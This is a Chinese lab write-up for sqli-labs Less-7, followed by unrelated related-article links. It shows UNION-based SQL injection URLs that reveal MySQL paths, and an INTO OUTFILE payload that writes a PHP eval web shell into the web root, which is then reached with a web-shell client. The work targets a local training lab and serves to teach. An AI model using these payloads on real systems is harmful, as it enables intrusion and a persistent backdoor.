sqli-libs(7)
导出文件GET字符型注入
0x01介绍
导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,sqlmap中也有导出一句话和一个文件上传的页面
常用的语句是: select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" ,当这里要获取到网站的在系统中的具体路径(绝对路径)
这个要怎么获取呢,根据系统和数据库猜测,如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就/var/www/htm,/var/www/html/htdocs
0x02获取路径下面给一个很有可能获取得到的方法,(因为less7不输出信息,先从less获取信息)
首先介绍两个可以说是函数,还是变量的东西
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
http://127.0.0.1/sql1/Less-7/?id=1%27%20))union%20select%20null,@@datadir,@@basedir%23
可以看看源码吗 因为不看源码我更本不知道他是加了两个括号 我的天!!!
当然也可以自己测试闭合的条件,1' fail,1" fail,1') fail,1") fail,1')) OK!要问怎么测试是否闭合?方法很多,比方说下面的测试过程
那对于此处注入 没有输出 没有报错 信息回显 我们可以干嘛呐???
可以写入文件 别问我为什么知道 他上面谢了outfile 可是我们不知道他的绝对路径 从何写入
判断是否有写权限,可以判断有写权限
http://127.0.0.1/sql1/Less-7?id=1')) and (select count(*)from mysql.user)>0 --+ //如果返回正常则有读写权限
没办法了 这里只有从第一关来获取了
http://127.0.0.1/sql1/Less-1/?id=-1%27%20union%20select%20null,@@datadir,@@basedir%20%23
好的 那我们知道了绝对路径 那接下来 我们尝试着写入一句话
0x03爱之终极突破
写入一句话
http://127.0.0.1/sql1/Less-7/?id=1%27))%20union%20select%20null,null,%27%3C?php%20@eval($_POST[qi]);?%3E%27%20into%20outfile%20%22C:\\phpStudy1\\PHPTutorial\\WWW\\zhong.php%22%20%23
然后菜刀连接
window系统的无法写入解决方法
改成完全控制即可
学习之路 无浮躁 少就是多
sqli-libs(7)的更多相关文章
- sqli篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题
前言 最早接触安全也是从xss攻击和sql注入攻击开始的. 和xss一样屡居OWASPtop10 前三名的漏洞,sqli(sql Injection)sql注入攻击也是web安全中影响较大和影响范围较 ...
- 编译gtk+程序报错gcc: pkg-config --cflags --libs gtk+-2.0: 没有那个文件或目录
第一次接触gtk+.在网上搜罗良一番,装好相应的库后,编写了第一hello程序.在编译时输入以下命令:gcc -o hello hello.c 'pkg-config --cflags --libs ...
- Play libs
The play.libs package contains several useful libraries that will help you to achieve common program ...
- Android中libs目录下armeabi和armeabi-v7a的区别
armeabi默认选项,支持基于 ARM* v5TE 的设备支持软浮点运算(不支持硬件辅助的浮点计算)支持所有 ARM* 设备 armeabi-v7a支持基于 ARM* v7 的设备支持硬件 FPU ...
- SQLi filter evasion cheat sheet (MySQL)
This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 y ...
- python INFO: Can't locate Tcl/Tk libs and/or headers
安装opencv的时候遇到这个错误: python INFO: Can't locate Tcl/Tk libs and/or headers 参考如下文章解决这个问题: http://www.ver ...
- 如何为libs目录下的jar包关联源代码
以前,我们可以为lib目录下的jar包关联源代码,但是现在似乎不行了. 下面是一篇讲述此问题解决方法的文章: How to attach javadoc or sources to jars in l ...
- Makefile选项CFLAGS,LDFLAGS,LIBS
CFLAGS 表示用于 C 编译器的选项, CXXFLAGS 表示用于 C++ 编译器的选项.这两个变量实际上涵盖了编译和汇编两个步骤. CFLAGS: 指定头文件(.h文件)的路径,如:CFLAGS ...
- Android studio libs目录
Android studio libs目录: 关于Android studio libs目录,Android studio 已经为我们自动生成了,如果默认 是看不到默认Libs目录的,点击红色按钮地方 ...
- 写你自己 android 多通道打包工具 可以包libs和.so文件
android上传应用程序,需要区分各个信道. 通常更改配置文件中的一个通道id,假设有多个通道,手动更改并生成apk这将是非常麻烦的,及增加误差的概率. 在这个课堂上分享一个打包工具.也可在网上类似 ...
随机推荐
- springboot -- 2.0版本自定义ReidsCacheManager的改变
1. 问题发现 在1.0版本中,我们配置redis的cacheManager是这种方式: //缓存管理器 @Bean public CacheManager cacheManager(@Suppres ...
- a++和++a的区别
a++是先执行表达式后再自增,执行表达式时使用的是a的原值.++a是先自增再执行表达示,执行表达式时使用的是自增后的a.例:int a=0printf("%d",a++); //输 ...
- <<C++ Primer>> 第一章 开始 术语表
术语表 第 1 章 开始 参数(实参, argument): 向函数传递值 赋值(assignment): 抹去一个对象当前值一个新值取代之 缓冲区(buffer): 一个存储区域, 用于 ...
- phpstorm 不能选择 php language level
最近需要更改phpstorm中的php language level发现更改不了 解决方法是在PHP 下面的Composer中勾选了同步 composer php版本的原因 取消勾选,点击应用就可以了
- CSS 相对定位 绝对定位
css中的相对定位和绝对定位. 定位标签:position 包含属性:relative(相对) absolute(绝对) 1.position:relative; 如果对一个元素进行相对定位,首先它将 ...
- echats 油表盘 鼠标拖动指针改变数值
近期需要做一个鼠标拖动完成油表盘数值改变的功能,使用canvas感觉太麻烦,而且指针不太好监听和拖动,只能另谋出路,在网上参考了某位大神的操作,最终选择了echats来解决这个问题.废话不多说,直接上 ...
- php学习第一天(记录注意事项)
- 1.Java 字符分割
使用方法 性能比较 使用方法 或|,点.,加+,乘*,在字符串中出现时,如果这个字符串需要被split,则split时候,需要在前面加两个反斜杠. 与&,在split时候,不需要转义. 一.j ...
- 配置 http 反向代理
[root@nginx ~]# cd /etc/nginx/ 1 [root@nginx nginx]# cp nginx.conf nginx.conf.bak #备份一个原配置文件 2 [root ...
- Linux学习--第十一天--source、环境变量目录、欢迎信息、正则、cut、awk、sed、sort、判断表达式、if、for、case、一些脚本
source source /root/.bashrc #让修改后的配置文件在不重启系统的情况下生效.source等同于. 环境变量目录 /etc/profile /etc/profile.d/*.s ...